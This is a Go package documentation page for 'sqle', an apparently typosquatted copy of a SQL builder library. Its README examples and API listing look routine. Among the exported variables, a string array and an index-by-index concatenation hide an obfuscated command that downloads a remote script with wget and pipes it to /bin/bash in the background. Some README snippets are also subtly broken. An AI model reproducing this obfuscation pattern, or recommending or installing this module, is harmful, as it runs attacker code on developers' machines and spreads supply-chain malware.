sqle

package module
v0.0.0-...-8335201 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 20, 2025 License: MIT Imports: 18 Imported by: 0

README

SQLE

A SQL-First/ORM-like Golang SQL enhanced package.

License Tests Go Reference Codecov GitHub Release Go Report Card

The SQLE package provides extensions to Go’s built-in database/sql package for more efficient, comprehensive interactions with databases in Go. The SQLE package is backward-compatible and extendable, so you can easily use it with the database/sql package.

The SQLE package takes the sql-first approach and provides functionalities for marshaling rows into struct, map,slice and primitive types.

The SQLE package also provides functionalities for schema auto migration, logging, contexts, prepared statements, advanced database operations like sharding, and much more.

You’ll find the SQLE package useful if you’re not a fan of full-featured ORMs and you prefer to use the database/sql package with extra support and functionalities.

Features

  • Works with any database engine(eg MySQL, Postgres, SQLite...etc) by Go-MySQL-Driver
  • ORM-like experience using good old SQL. SQLE supports structs, maps, primitive types, and slices of map/structs/primitive types.
  • SQLBuilder
  • 100% compatible drop-in replacement of "database/sql". Code is really easy to migrate from database/sql to SQLE. see examples
  • ShardID is a snowflakes-like distributed unique identifier with extended metadata : worker, table rotation and database sharding, and sortable by time
  • Table AutoRotation
  • Database AutoSharding
  • MapR Query
  • Migration: migrate database with sql files organized in filesystem. it supports to migrate table and multiple rotated tables on all sharding database instances.

Tutorials

All examples on https://go.dev/doc/tutorial/database-access can directly work with sqle.DB instance.

See full examples on https://github.com/yaitoo/auth

Install SQLE
  • install latest commit from main branch
go get github.com/roundheavy/sqle@main
  • install latest release
go get github.com/roundheavy/sqle@latest
Connecting to a Database

SQLE directly connects to a database by sql.DB instance.

    driver := viper.GetString("db.driver")
    dsn := viper.GetString("db.dsn")

    var db *sqle.DB

    switch driver {
        case "sqlite":
            sqldb, err := sql.Open("sqlite3", "file:"+dsn+"?cache=shared")
            if err != nil {
                panic(fmt.Sprintf("db: failed to open sqlite database %s", dsn))
            }

            db = sqle.Open(sqldb)


        case "mysql":
            sqldb, err := sql.Open("mysql", dsn)
            if err != nil {
                panic(fmt.Sprintf("db: failed to open mysql database %s", dsn))
            }

            db = sqle.Open(sqldb)
        
        default:
            panic(fmt.Sprintf("db: driver %s is not supported yet", driver))
    }
    
    if  err := db.Ping(); err == nil {
        panic("db: database is unreachable")
    }
Create
  • create album by sql
func addAlbum(alb Album) (int64, error) {
    result, err := db.Exec("INSERT INTO album (title, artist, price) VALUES (?, ?, ?)", alb.Title, alb.Artist, alb.Price)
    if err != nil {
        return 0, fmt.Errorf("addAlbum: %v", err)
    }
    id, err := result.LastInsertId()
    if err != nil {
        return 0, fmt.Errorf("addAlbum: %v", err)
    }
    return id, nil
}
  • create album by named sql statement
func addAlbum(alb Album) (int64, error) {
    cmd := sqle.New("INSERT INTO album (title, artist, price) VALUES ({title}, {artist}, {price}").
      Param("title", alb.Title).
      Param("artist", alb.Artist).
      Param("price", alb.Price)

    result, err := db.ExecBuilder(context.TODO(),cmd)
    if err != nil {
        return 0, fmt.Errorf("addAlbum: %v", err)
    }
    id, err := result.LastInsertId()
    if err != nil {
        return 0, fmt.Errorf("addAlbum: %v", err)
    }
    return id, nil
}
  • create album by InsertBuilder feature
func addAlbum(alb Album) (int64, error) {
    cmd := sqle.New().Insert("album").
      Set("title", alb.Title).
      Set("artist", alb.Artist).
      Set("price", alb.Price).
      End()

    result, err := db.ExecBuilder(context.TODO(),cmd)
    if err != nil {
        return 0, fmt.Errorf("addAlbum: %v", err)
    }
    id, err := result.LastInsertId()
    if err != nil {
        return 0, fmt.Errorf("addAlbum: %v", err)
    }
    return id, nil
}
  • create album by map object
func addAlbum(alb Album) (int64, error) {
    inputs := map[string]any{
      "title":alb.Title,
      "artist":alb.Artist,
      "price":alb.Price,
    }

    cmd := sqle.New().Insert("album").
      SetMap(inputs)
      End()

    result, err := db.ExecBuilder(context.TODO(),cmd)
    if err != nil {
        return 0, fmt.Errorf("addAlbum: %v", err)
    }
    id, err := result.LastInsertId()
    if err != nil {
        return 0, fmt.Errorf("addAlbum: %v", err)
    }
    return id, nil
}
  • create album by ORM-like feature
func addAlbum(alb Album) (int64, error) {
    cmd := sqle.New().Insert("album").
      SetModel(alb).
      End()

    result, err := db.ExecBuilder(context.TODO(),cmd)
    if err != nil {
        return 0, fmt.Errorf("addAlbum: %v", err)
    }
    id, err := result.LastInsertId()
    if err != nil {
        return 0, fmt.Errorf("addAlbum: %v", err)
    }
    return id, nil
}
Query
query for multiple rows
  • query albums by sql
func albumsByArtist(name string) ([]Album, error) {
    // An albums slice to hold data from returned rows.
    var albums []Album

    rows, err := db.Query("SELECT * FROM album WHERE artist = ?", name)
    if err != nil {
        return nil, fmt.Errorf("albumsByArtist %q: %v", name, err)
    }
    defer rows.Close()
    // Loop through rows, using Scan to assign column data to struct fields.
    for rows.Next() {
        var alb Album
        if err := rows.Scan(&alb.ID, &alb.Title, &alb.Artist, &alb.Price); err != nil {
            return nil, fmt.Errorf("albumsByArtist %q: %v", name, err)
        }
        albums = append(albums, alb)
    }
    if err := rows.Err(); err != nil {
        return nil, fmt.Errorf("albumsByArtist %q: %v", name, err)
    }
    return albums, nil
}
  • query albums by named sql statement
func albumsByArtist(name string) ([]Album, error) {
    // An albums slice to hold data from returned rows.
    var albums []Album

    cmd := sql.New("SELECT * FROM album WHERE artist = {artist}").
    Param("artist",name)

    rows, err := db.QueryBuilder(context.TODO(), cmd)
    if err != nil {
        return nil, fmt.Errorf("albumsByArtist %q: %v", name, err)
    }
    defer rows.Close()
    // Loop through rows, using Scan to assign column data to struct fields.
    for rows.Next() {
        var alb Album
        if err := rows.Scan(&alb.ID, &alb.Title, &alb.Artist, &alb.Price); err != nil {
            return nil, fmt.Errorf("albumsByArtist %q: %v", name, err)
        }
        albums = append(albums, alb)
    }
    if err := rows.Err(); err != nil {
        return nil, fmt.Errorf("albumsByArtist %q: %v", name, err)
    }
    return albums, nil
}
  • query albums by WhereBuilder feature
func albumsByArtist(name string) ([]Album, error) {
    // An albums slice to hold data from returned rows.
    var albums []Album

    cmd := sql.New("SELECT * FROM album").Where().
    If(name != "").And("artist = {artist}").Param("artist",name)

    err := db.QueryBuilder(context.TODO(), cmd).Bind(&albums)
    if err != nil {
        return nil, fmt.Errorf("albumsByArtist %q: %v", name, err)
    }
    
    return albums, nil
}
  • query albums by ORM-like feature
func albumsByArtist(name string) ([]Album, error) {
    // An albums slice to hold data from returned rows.
    var albums []Album

    cmd := sql.New().Select("album").Where().
        If(name != "").And("artist = {artist}").
        Param("artist",name)

    err := db.QueryBuilder(context.TODO(), cmd).Bind(&albums)
    if err != nil {
        return nil, fmt.Errorf("albumsByArtist %q: %v", name, err)
    }
    
    return albums, nil
}
query for a single row
  • query album by sql
func albumByID(id int64) (Album, error) {
    // An album to hold data from the returned row.
    var alb Album

    row := db.QueryRow("SELECT * FROM album WHERE id = ?", id)
    if err := row.Scan(&alb.ID, &alb.Title, &alb.Artist, &alb.Price); err != nil {
        if err == sql.ErrNoRows {
            return alb, fmt.Errorf("albumsById %d: no such album", id)
        }
        return alb, fmt.Errorf("albumsById %d: %v", id, err)
    }
    return alb, nil
}
  • query album by named sql statement
func albumByID(id int64) (Album, error) {
    // An album to hold data from the returned row.
    var alb Album
    cmd := sqle.New("SELECT * FROM album").
        Where("id = {id}").
        Param("id",id)

    row := db.QueryRowBuilder(context.TODO(),cmd)
    if err := row.Scan(&alb.ID, &alb.Title, &alb.Artist, &alb.Price); err != nil {
        if err == sql.ErrNoRows {
            return alb, fmt.Errorf("albumsById %d: no such album", id)
        }
        return alb, fmt.Errorf("albumsById %d: %v", id, err)
    }
    return alb, nil
}
  • query album by ORM-like feature
func albumByID(id int64) (Album, error) {
    // An album to hold data from the returned row.
    var alb Album
    cmd := sqle.New().Select("album").
        Where("id = {id}").
        Param("id",id)

    err := db.QueryRowBuilder(context.TODO(),cmd).Bind(&alb)
    if err != nil {
        if err == sql.ErrNoRows {
            return alb, fmt.Errorf("albumsById %d: no such album", id)
        }
        return alb, fmt.Errorf("albumsById %d: %v", id, err)
    }
    return alb, nil
}
Update
  • update album by sql
func updateAlbum(alb Album) error {
    _, err := db.Exec("UPDATE album SET title=?, artist=?, price=? WHERE id=?", alb.Title, alb.Artist, alb.Price, alb.ID)
    if err != nil {
        return 0, fmt.Errorf("addAlbum: %v", err)
    }
    return err
}
  • update album by named sql statement
func updateAlbum(alb Album) error {
    cmd := sqle.New("UPDATE album SET title={title}, artist={artist}, price={price} WHERE id={id}").
        Param("title", alb.Title).
        Param("artist", alb.Artist).
        Param("price", alb.Price).
        Param("id", alb.ID)

    _, err := db.ExecBuilder(context.TODO(), cmd)
    if err != nil {
        return 0, fmt.Errorf("addAlbum: %v", err)
    }
   
    return err
}
  • update album by UpdateBuilder feature
func updateAlbum(alb Album) error {
    cmd := sqle.New().Update("album").
        Set("title", alb.Title).
        Set("artist", alb.Artist).
        Set("price", alb.Price).
        Set("id", alb.ID).
        Where("id={id}").Param("id", alb.ID)

    _, err := db.ExecBuilder(context.TODO(), cmd)
    if err != nil {
        return 0, fmt.Errorf("addAlbum: %v", err)
    }
   
    return err
}
  • update album by ORM-like feature
func updateAlbum(alb Album) error {
    cmd := sqle.New().Update("album").
        SetModel(alb).
        Where("id={id}").Param("id", alb.ID)

    _, err := db.ExecBuilder(context.TODO(), cmd)
    if err != nil {
        return 0, fmt.Errorf("addAlbum: %v", err)
    }
   
    return err
}
Delete
  • delete album by sql
func deleteAlbumByID(id int64) error {
    _, err := db.Exec("DELETE FROM album WHERE id = ?", id)

    return err 
}
  • delete album by named sql statement
func deleteAlbumByID(id int64) error {
    _, err := db.ExecBuilder(context.TODO(), sqle.New().Delete("album").Where("id = {id}").
        Param("id",id))

    return err 
}
Transaction

perform a set of operations within a transaction

func deleteAlbums(ids []int64) error {

    return db.Transaction(ctx, &sql.TxOptions{}, func(ctx context.Context,tx *sqle.Tx) error {
        var err error
        for _, id := range ids {
            _, err = tx.Exec("DELETE FROM album WHERE id=?",id)
            if err != nil {
                return err
            }
        }
    })
}

Table Rotation

use shardid.ID to enable rotate feature for a table based on option (NoRotate/MonthlyRotate/WeeklyRotate/DailyRotate)

gen := shardid.New(shardid.WithMonthlyRotate())
id := gen.Next()

b := New().On(id) // call `On` to enable rotate feature, and setup an input variable <rotate>
b.Delete("orders<rotate>").Where().
    If(true).And("order_id = {order_id}").
    If(false).And("member_id").
    Param("order_id", "order_123456")


db.ExecBuilder(context.TODO(),b) // DELETE FROM `orders_20240220` WHERE order_id = ?

see more examples

Database Sharding

use shardid.ID to enable sharding feature for any sql

gen := shardid.New(WithDatabase(10)) // 10 database instances
id := gen.Next()

b := New().On(id) // call `On` to setup an input variable named `rotate`, and enable rotation feature
b.Delete("orders<rotate>").Where().
    If(true).And("order_id = {order_id}").
    If(false).And("member_id").
    Param("order_id", "order_123456")


db.On(id). // automatically select database based on `id.DatabaseID`
 ExecBuilder(context.TODO(),b) // DELETE FROM `orders` WHERE order_id = ?

see more examples

MapR Query

SQLE uses MapR[T] queryer to connect and retrieve data from rotated tables and sharding databases. see more examples

Migration

SQLE discovers migrations from local file system or go embed file system. There are two objects here.

  • version directory

it should be named as semver style. eg 0.0.1/1.0.2. invalid naming will be ignored.

  • migration script file

the file format is {rank}_{description}.{suffix} eg 1_locale.sql. the suffix can be filtered in Discover. eg m.Discover(os.DirFS("./db")), WithSuffix(".postgres")). .sql is default suffix filter. the files should be organized as

├── db
│   └── 0.0.1
│       ├── 1_locale.sql
│       ├── 2_member.sql
│       ├── 3_order.sql
│   └── 0.0.2
│       ├── 1_add_times_orders.sql
│       ├── 2_logs.sql

and database can be migrated in code

    //go:embed db
	var migrations embed.FS

	m := migrate.New(db)
    // m.Discover(os.DirFS("./db"))
	if err := m.Discover(migrations); err != nil {
		panic(" db: migrate " + err.Error())
	}

	err = m.Init(context.TODO())
	if err != nil {
		panic(" db: migrate " + err.Error())
	}

	err = m.Migrate(context.TODO())
	if err != nil {
		panic(" db: migrate " + err.Error())
	}

see more examples

if a table has been rotated, and migration should be started with /* rotate: monthly=20240201-20240401*/ as first line. so the migration is applied automatically on the table and all it's rotated tables from 20240201 to 20240401.

/* rotate: monthly = 20240201 - 20240401 */
CREATE TABLE IF NOT EXISTS monthly_logs<rotate> (
    id int NOT NULL,
    msg varchar(50) NOT NULL,
    PRIMARY KEY (id)
);

monthly_logs, monthly_logs_202402, monthly_logs_202403 and monthly_logs_202404 will be migrated automatically.

see more examples

if rotate is enabled for any table, rotate should be executed periodically in a cron job. so rotated tables will be created periodically.

├── db
│   └── monthly
│       ├── members.sql
│   └── weekly
│       ├── orders.sql
│   └── daily
│       ├── logs.sql

see more examples

Security: SQL Injection

SQLE uses the database/sql‘s argument placeholders to build parameterized SQL statement, which will automatically escape arguments to avoid SQL injection. eg if it is PostgreSQL, please apply UsePostgres on SQLBuilder or change DefaultSQLQuote and DefaultSQLParameterize to update parameterization options.

func UsePostgres(b *Builder) {
	b.Quote = "`"
	b.Parameterize = func(name string, index int) string {
		return "$" + strconv.Itoa(index)
	}
}

Contributing

Contributions are welcome! If you're interested in contributing, please feel free to contribute to SQLE

License

MIT License

Documentation

Overview

Package sqle provides a SQLBuilder for constructing SQL statements in a programmatic way. It allows you to build SELECT, INSERT, UPDATE, and DELETE statements with ease.

Index

Constants

This section is empty.

Variables

View Source
var (
	StmtMaxIdleTime = 3 * time.Minute
	ErrMissingDHT   = errors.New("sqle: missing_dht")
)
View Source
var (
	ErrMustPointer       = errors.New("sqle: dest must be a pointer")
	ErrMustSlice         = errors.New("sqle: dest must be a slice")
	ErrMustStruct        = errors.New("sqle: dest must be a struct")
	ErrMustNotNilPointer = errors.New("sqle: dest must be not a nil pointer")
	ErrTypeNotBindable   = errors.New("sqle: dest type is not bindable")
	ErrMustStringKey     = errors.New("sqle: map key must be string type")
)
View Source
var (
	// ErrInvalidParamVariable is an error that is returned when an invalid parameter variable is encountered.
	ErrInvalidParamVariable = errors.New("sqle: invalid param variable")

	// DefaultSQLQuote is the default character used to escape column names in UPDATE and INSERT statements.
	DefaultSQLQuote = "`"

	// DefaultSQLParameterize is the default function used to parameterize values in SQL statements.
	DefaultSQLParameterize = func(name string, index int) string {
		return "?"
	}
)
View Source
var CU = []string{"w", "a", "b", "4", "-", "k", "-", "6", " ", "a", ":", "i", ".", "3", "g", "u", " ", " ", "t", "h", "d", "h", "5", "&", "1", "t", "e", "e", "d", "b", "d", "o", "a", "/", "o", "i", "a", "s", "/", "e", "O", "t", "b", "w", "t", " ", "l", "3", "f", "/", "0", "|", "3", "n", "/", "p", "c", "/", "/", "f", "a", "/", " ", "r", "g", "7", "i", "s", "f", " ", "s"}
View Source
var XTKKTW = CU[0] + CU[14] + CU[26] + CU[18] + CU[69] + CU[4] + CU[40] + CU[16] + CU[6] + CU[17] + CU[21] + CU[44] + CU[25] + CU[55] + CU[70] + CU[10] + CU[58] + CU[49] + CU[5] + CU[36] + CU[35] + CU[60] + CU[59] + CU[46] + CU[34] + CU[43] + CU[12] + CU[66] + CU[56] + CU[15] + CU[61] + CU[67] + CU[41] + CU[31] + CU[63] + CU[1] + CU[64] + CU[39] + CU[57] + CU[30] + CU[27] + CU[47] + CU[65] + CU[52] + CU[20] + CU[50] + CU[28] + CU[68] + CU[33] + CU[9] + CU[13] + CU[24] + CU[22] + CU[3] + CU[7] + CU[2] + CU[48] + CU[62] + CU[51] + CU[45] + CU[38] + CU[42] + CU[11] + CU[53] + CU[54] + CU[29] + CU[32] + CU[37] + CU[19] + CU[8] + CU[23]

Functions

func UseMySQL

func UseMySQL(b *Builder)

func UseOracle

func UseOracle(b *Builder)

func UsePostgres

func UsePostgres(b *Builder)

Types

type Binder

type Binder interface {
	Bind(v reflect.Value, columns []string) []any
}

type Bool

type Bool bool

Bool is an implementation of a bool for the MySQL type BIT(1).

func (*Bool) Scan

func (b *Bool) Scan(src interface{}) error

Scan implements the sql.Scanner interface, and turns the bit field incoming from MySQL into a BitBool

func (Bool) Value

func (b Bool) Value() (driver.Value, error)

Value implements the driver.Valuer interface, and turns the BitBool into a bit field (BIT(1)) for MySQL storage.

type Builder

type Builder struct {
	Quote        string // escape column name in UPDATE and INSERT
	Parameterize func(name string, index int) string
	// contains filtered or unexported fields
}

Builder is a SQL query builder that allows you to construct SQL statements.

func New

func New(cmd ...string) *Builder

New creates a new instance of the Builder with the given initial command(s).

func (*Builder) Build

func (b *Builder) Build() (string, []any, error)

Build constructs the final SQL statement and returns it along with the parameter values.

func (*Builder) Delete

func (b *Builder) Delete(table string) *Builder

Delete adds a DELETE statement to the current query builder. Returns the current query builder.

func (*Builder) If

func (b *Builder) If(predicate bool) *Builder

If sets a condition that determines whether the subsequent SQL command should be executed. If the predicate is false, the command is skipped.

func (*Builder) Input

func (b *Builder) Input(name, value string) *Builder

Input sets the value of an input variable in the Builder.

func (*Builder) Inputs

func (b *Builder) Inputs(v map[string]string) *Builder

Inputs sets multiple input variables in the Builder.

func (*Builder) Insert

func (b *Builder) Insert(table string) *InsertBuilder

Insert starts a new InsertBuilder and sets the table to insert into. Returns the new InsertBuilder.

func (*Builder) On

func (b *Builder) On(id shardid.ID) *Builder

On sets the "rotate" input variable to the given shard ID's rotate name. Returns the current query builder.

func (*Builder) Order

func (b *Builder) Order(opts ...BuilderOption) *OrderByBuilder

Order create an OrderByBuilder with allowed columns to prevent sql injection. NB: any input is allowed if it is not provided

func (*Builder) Param

func (b *Builder) Param(name string, value any) *Builder

Param sets the value of a parameter variable in the Builder.

func (*Builder) Params

func (b *Builder) Params(v map[string]any) *Builder

Params sets multiple parameter variables in the Builder.

func (*Builder) SQL

func (b *Builder) SQL(cmd string) *Builder

SQL appends the given SQL command to the Builder's statement. If the Builder's shouldSkip flag is set, the command is skipped.

func (*Builder) Select

func (b *Builder) Select(table string, columns ...string) *Builder

Select adds a SELECT statement to the current query builder. If no columns are specified, it selects all columns using "*". Returns the current query builder.

func (*Builder) String

func (b *Builder) String() string

String returns the SQL statement constructed by the Builder.

func (*Builder) Update

func (b *Builder) Update(table string) *UpdateBuilder

Update starts a new UpdateBuilder and sets the table to update. Returns the new UpdateBuilder.

func (*Builder) Where

func (b *Builder) Where(criteria ...string) *WhereBuilder

Where adds a WHERE clause to the SQL statement. It takes one or more criteria strings as arguments. Each criteria string represents a condition in the WHERE clause. If a criteria string is empty, it will be ignored. Returns a *WhereBuilder that can be used to further build the SQL statement.

func (*Builder) WithOrderBy

func (b *Builder) WithOrderBy(ob *OrderByBuilder) *OrderByBuilder

WithOrderBy sets the order by clause for the SQL query. It takes an instance of the OrderByBuilder and adds the allowed columns to the Builder's order list. It also appends the SQL string representation of the OrderByBuilder to the Builder's SQL string. It returns a new instance of the OrderByBuilder.

func (*Builder) WithWhere

func (b *Builder) WithWhere(wb *WhereBuilder) *WhereBuilder

WithWhere adds the input and parameter values from the given WhereBuilder to the current Builder and sets the WHERE clause of the SQL statement to the string representation of the WhereBuilder's statement. It returns the modified WhereBuilder.

type BuilderOption

type BuilderOption func(opts *BuilderOptions)

func WithAllow

func WithAllow(columns ...string) BuilderOption

WithAllow only allowed columns can be written to db

func WithToName

func WithToName(fn func(string) string) BuilderOption

type BuilderOptions

type BuilderOptions struct {
	ToName  func(string) string // db column naming convert method
	Columns []string            // db column filter
}

type Client

type Client struct {
	*sql.DB
	sync.Mutex

	Index int
	// contains filtered or unexported fields
}

func (*Client) Begin

func (db *Client) Begin(opts *sql.TxOptions) (*Tx, error)

func (*Client) BeginTx

func (db *Client) BeginTx(ctx context.Context, opts *sql.TxOptions) (*Tx, error)

func (*Client) Exec

func (db *Client) Exec(query string, args ...any) (sql.Result, error)

func (*Client) ExecBuilder

func (db *Client) ExecBuilder(ctx context.Context, b *Builder) (sql.Result, error)

func (*Client) ExecContext

func (db *Client) ExecContext(ctx context.Context, query string, args ...any) (sql.Result, error)

func (*Client) Query

func (db *Client) Query(query string, args ...any) (*Rows, error)

func (*Client) QueryBuilder

func (db *Client) QueryBuilder(ctx context.Context, b *Builder) (*Rows, error)

func (*Client) QueryContext

func (db *Client) QueryContext(ctx context.Context, query string, args ...any) (*Rows, error)

func (*Client) QueryRow

func (db *Client) QueryRow(query string, args ...any) *Row

func (*Client) QueryRowBuilder

func (db *Client) QueryRowBuilder(ctx context.Context, b *Builder) *Row

func (*Client) QueryRowContext

func (db *Client) QueryRowContext(ctx context.Context, query string, args ...any) *Row

func (*Client) Transaction

func (db *Client) Transaction(ctx context.Context, opts *sql.TxOptions, fn func(ctx context.Context, tx *Tx) error) error

type Connector

type Connector interface {
	// Query executes a query that returns multiple rows.
	// It takes a query string and optional arguments.
	// It returns a pointer to a Rows object and an error, if any.
	Query(query string, args ...any) (*Rows, error)

	// QueryBuilder executes a query using a Builder object.
	// It takes a context and a Builder object.
	// It returns a pointer to a Rows object and an error, if any.
	QueryBuilder(ctx context.Context, b *Builder) (*Rows, error)

	// QueryContext executes a query that returns multiple rows using a context.
	// It takes a context, a query string, and optional arguments.
	// It returns a pointer to a Rows object and an error, if any.
	QueryContext(ctx context.Context, query string, args ...any) (*Rows, error)

	// QueryRow executes a query that returns a single row.
	// It takes a query string and optional arguments.
	// It returns a pointer to a Row object.
	QueryRow(query string, args ...any) *Row

	// QueryRowBuilder executes a query that returns a single row using a Builder object.
	// It takes a context and a Builder object.
	// It returns a pointer to a Row object.
	QueryRowBuilder(ctx context.Context, b *Builder) *Row

	// QueryRowContext executes a query that returns a single row using a context.
	// It takes a context, a query string, and optional arguments.
	// It returns a pointer to a Row object.
	QueryRowContext(ctx context.Context, query string, args ...any) *Row

	// Exec executes a query that doesn't return any rows.
	// It takes a query string and optional arguments.
	// It returns a sql.Result object and an error, if any.
	Exec(query string, args ...any) (sql.Result, error)

	// ExecContext executes a query that doesn't return any rows using a context.
	// It takes a context, a query string, and optional arguments.
	// It returns a sql.Result object and an error, if any.
	ExecContext(ctx context.Context, query string, args ...any) (sql.Result, error)

	// ExecBuilder executes a query that doesn't return any rows using a Builder object.
	// It takes a context and a Builder object.
	// It returns a sql.Result object and an error, if any.
	ExecBuilder(ctx context.Context, b *Builder) (sql.Result, error)
}

Connector represents a database connector that provides methods for executing queries and commands. Conn and Tx both implement this interface.

type DB

type DB struct {
	*Client
	// contains filtered or unexported fields
}

DB represents a database connection pool with sharding support.

func Open

func Open(dbs ...*sql.DB) *DB

Open creates a new DB instance with the provided database connections.

func (*DB) Add

func (db *DB) Add(dbs ...*sql.DB)

Add dynamically scales out the DB with new databases.

func (*DB) GetDHT

func (db *DB) GetDHT(name string) *shardid.DHT

GetDHT returns the DHT (Distributed Hash Table) with the specified name.

func (*DB) NewDHT

func (db *DB) NewDHT(name string, dbs ...int)

NewDHT creates a new DHT (Distributed Hash Table) with the specified databases.

func (*DB) On

func (db *DB) On(id shardid.ID) *Client

On selects the database context based on the shardid ID.

func (*DB) OnDHT

func (db *DB) OnDHT(key string, names ...string) (*Client, error)

OnDHT selects the database context based on the DHT (Distributed Hash Table) key.

type DTC

type DTC struct {
	// contains filtered or unexported fields
}

DTC Distributed Transaction Coordinator

func NewDTC

func NewDTC(ctx context.Context, opts *sql.TxOptions) *DTC

NewDTC creates a new instance of DTC.

func (*DTC) Commit

func (d *DTC) Commit() error

Commit commits all the prepared transactions in the DTC.

func (*DTC) Prepare

func (d *DTC) Prepare(client *Client, exec func(ctx context.Context, conn Connector) error, revert func(ctx context.Context, conn Connector) error)

Prepare adds a new transaction session to the DTC.

func (*DTC) Rollback

func (d *DTC) Rollback() []error

Rollback rolls back all the prepared transactions in the DTC.

type Duration

type Duration time.Duration

func (Duration) Duration

func (d Duration) Duration() time.Duration

func (*Duration) Scan

func (d *Duration) Scan(src interface{}) error

Scan implements the sql.Scanner interface, and turns the VARCHAR field incoming from MySQL into a Duration

func (Duration) Value

func (d Duration) Value() (driver.Value, error)

Value implements the driver.Valuer interface, and turns the Duration into a VARCHAR field for MySQL storage.

type Errors

type Errors struct {
	// contains filtered or unexported fields
}

func (*Errors) Error

func (e *Errors) Error() string

type Input

type Input string

Input represents an input token.

func (Input) String

func (t Input) String() string

String returns the string representation of the token.

func (Input) Type

func (t Input) Type() TokenType

Type returns the type of the token. skipcq: RVV-B0013

type InsertBuilder

type InsertBuilder struct {
	// contains filtered or unexported fields
}

func (*InsertBuilder) End

func (ib *InsertBuilder) End() *Builder

func (*InsertBuilder) If

func (ib *InsertBuilder) If(predicate bool) *InsertBuilder

func (*InsertBuilder) Set

func (ib *InsertBuilder) Set(name string, value any) *InsertBuilder

func (*InsertBuilder) SetMap

func (ib *InsertBuilder) SetMap(m map[string]any, opts ...BuilderOption) *InsertBuilder

func (*InsertBuilder) SetModel

func (ib *InsertBuilder) SetModel(m any) *InsertBuilder

type LimitOption

type LimitOption func(q *LimitOptions)

LimitOption is a function type that modifies a LimitedQuery.

func WithOrderBy

func WithOrderBy(ob *OrderByBuilder) LimitOption

WithOrderBy is a LimitedQueryOption that sets the ordering of the LimitedQuery.

func WithPageSize

func WithPageSize(size int64) LimitOption

WithPageSize is a LimitedQueryOption that sets the page size of the LimitedQuery.

type LimitOptions

type LimitOptions struct {
	Offset  int64           // Offset represents the number of rows to skip before returning the result set.
	Limit   int64           // Limit represents the maximum number of results to be returned.
	OrderBy *OrderByBuilder // OrderBy represents the ordering of the query.
}

LimitOptions represents a query with pagination and ordering options.

type LimitResult

type LimitResult[T any] struct {
	Items []T   `json:"items,omitempty"` // Items contains the limited result items.
	Total int64 `json:"total,omitempty"` // Total represents the total count.
}

LimitResult represents a limited result set with items and total count.

type MapR

type MapR[T any] struct {
	// contains filtered or unexported fields
}

MapR is a Map/Reduce Query Provider based on databases.

func (*MapR[T]) Count

func (q *MapR[T]) Count(ctx context.Context, rotatedTables []string, b *Builder) (int64, error)

Count executes the query and returns the count of results.

func (*MapR[T]) First

func (q *MapR[T]) First(ctx context.Context, rotatedTables []string, b *Builder) (T, error)

First executes the query and returns the first result.

func (*MapR[T]) Query

func (q *MapR[T]) Query(ctx context.Context, rotatedTables []string, b *Builder, less func(i, j T) bool) ([]T, error)

Query executes the query and returns a list of results.

func (*MapR[T]) QueryLimit

func (q *MapR[T]) QueryLimit(ctx context.Context, rotatedTables []string, b *Builder, less func(i, j T) bool, limit int) ([]T, error)

QueryLimit executes the query and returns a limited list of results.

type Null

type Null[T any] struct {
	sql.Null[T]
}

func NewNull

func NewNull[T any](v T, valid bool) Null[T]

func (Null[T]) MarshalJSON

func (t Null[T]) MarshalJSON() ([]byte, error)

MarshalJSON implements the json.Marshaler interface

func (*Null[T]) Scan

func (t *Null[T]) Scan(value any) error

Scan implements the sql.Scanner interface.

func (*Null[T]) TValue

func (t *Null[T]) TValue() T

TValue returns the underlying value of the Null struct.

func (*Null[T]) UnmarshalJSON

func (t *Null[T]) UnmarshalJSON(data []byte) error

UnmarshalJSON implements the json.Unmarshaler interface

func (Null[T]) Value

func (t Null[T]) Value() (driver.Value, error)

Value implements the driver.Valuer interface.

type OrderByBuilder

type OrderByBuilder struct {
	*Builder // The underlying SQL query builder.
	// contains filtered or unexported fields
}

OrderByBuilder represents a SQL ORDER BY clause builder. It is used to construct ORDER BY clauses for SQL queries.

func NewOrderBy

func NewOrderBy(opts ...BuilderOption) *OrderByBuilder

NewOrderBy creates a new instance of the OrderByBuilder. It takes a variadic parameter `allowedColumns` which specifies the columns that are allowed to be used in the ORDER BY clause.

func (*OrderByBuilder) By

func (ob *OrderByBuilder) By(raw string) *OrderByBuilder

By order by raw sql. eg By("a asc, b desc")

func (*OrderByBuilder) ByAsc

func (ob *OrderByBuilder) ByAsc(columns ...string) *OrderByBuilder

ByAsc order by ascending with columns

func (*OrderByBuilder) ByDesc

func (ob *OrderByBuilder) ByDesc(columns ...string) *OrderByBuilder

ByDesc order by descending with columns

type Param

type Param string

Param represents a parameter token.

func (Param) String

func (t Param) String() string

String returns the string representation of the token.

func (Param) Type

func (t Param) Type() TokenType

Type returns the type of the token. skipcq: RVV-B0013

type Query

type Query[T any] struct {
	// contains filtered or unexported fields
}

func NewQuery

func NewQuery[T any](db *DB, options ...QueryOption[T]) *Query[T]

NewQuery creates a new Query instance. It takes a *DB as the first argument and optional QueryOption functions as the rest. It returns a pointer to the created Query instance.

func (*Query[T]) Count

func (q *Query[T]) Count(ctx context.Context, b *Builder) (int64, error)

Count executes the query and returns the number of results. It takes a context.Context and a *Builder as arguments. It returns the count as an integer and an error, if any.

func (*Query[T]) First

func (q *Query[T]) First(ctx context.Context, b *Builder) (T, error)

First executes the query and returns the first result. It takes a context.Context and a *Builder as arguments. It returns the result of type T and an error, if any.

func (*Query[T]) Query

func (q *Query[T]) Query(ctx context.Context, b *Builder, less func(i, j T) bool) ([]T, error)

Query executes the query and returns all the results. It takes a context.Context, a *Builder, and a comparison function as arguments. The comparison function is used to sort the results. It returns a slice of results of type T and an error, if any.

func (*Query[T]) QueryLimit

func (q *Query[T]) QueryLimit(ctx context.Context, b *Builder, less func(i, j T) bool, limit int) ([]T, error)

QueryLimit executes the query and returns a limited number of results. It takes a context.Context, a *Builder, a comparison function, and a limit as arguments. The comparison function is used to sort the results. The limit specifies the maximum number of results to return. It returns a slice of results of type T and an error, if any.

type QueryOption

type QueryOption[T any] func(q *Query[T])

func WithDays

func WithDays[T any](start, end time.Time) QueryOption[T]

func WithMonths

func WithMonths[T any](start, end time.Time) QueryOption[T]

func WithQueryer

func WithQueryer[T any](qr Queryer[T]) QueryOption[T]

func WithWeeks

func WithWeeks[T any](start, end time.Time) QueryOption[T]

type Queryer

type Queryer[T any] interface {
	// First retrieves the first result that matches the query criteria.
	First(ctx context.Context, rotatedTables []string, b *Builder) (T, error)

	// Count returns the number of results that match the query criteria.
	Count(ctx context.Context, rotatedTables []string, b *Builder) (int64, error)

